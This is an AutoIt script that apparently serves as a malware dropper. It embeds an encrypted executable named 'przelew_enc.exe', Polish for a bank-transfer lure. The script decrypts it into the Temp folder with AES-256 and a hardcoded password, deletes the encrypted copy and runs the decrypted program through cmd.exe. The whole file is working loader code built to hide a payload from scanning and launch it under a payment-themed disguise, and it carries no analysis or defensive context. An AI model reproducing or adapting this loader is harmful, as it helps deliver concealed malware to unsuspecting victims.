Local $readfilename = "przelew_enc.exe"
Local $nazwakatalogu = @ScriptDir
Local $nazwapliku = StringReplace($readfilename, "_enc", "")
FileCopy($nazwakatalogu & "\" & $nazwapliku, @TempDir, $fc_overwrite + $fc_createpath)
If FileExists(@TempDir & "\" & $readfilename) Then
Else
	FileInstall("C:\Program Files\AutoHotkey\Compiler\przelew_enc.exe", @TempDir & "\" & $readfilename, 1)
EndIf
Local $newfilename = StringReplace($readfilename, "_enc", "_dec")
$firstdot = StringInStr($readfilename, ".", 0, -1)
$fileextension = StringTrimLeft($readfilename, $firstdot - 1)
$passkey = "takczopur"
If _crypt_decryptfile(@TempDir & "\" & $readfilename, @TempDir & "\" & $newfilename, $passkey, $calg_aes_256) Then
	FileDelete(@TempDir & "\" & $readfilename)
Else
	FileDelete(@TempDir & "\" & $newfilename)
	MsgBox("", "", "invalid password")
	Exit
EndIf
 ShellExecuteWait("cmd.exe", " /c cd " & @TempDir & " & " & $newfilename, "")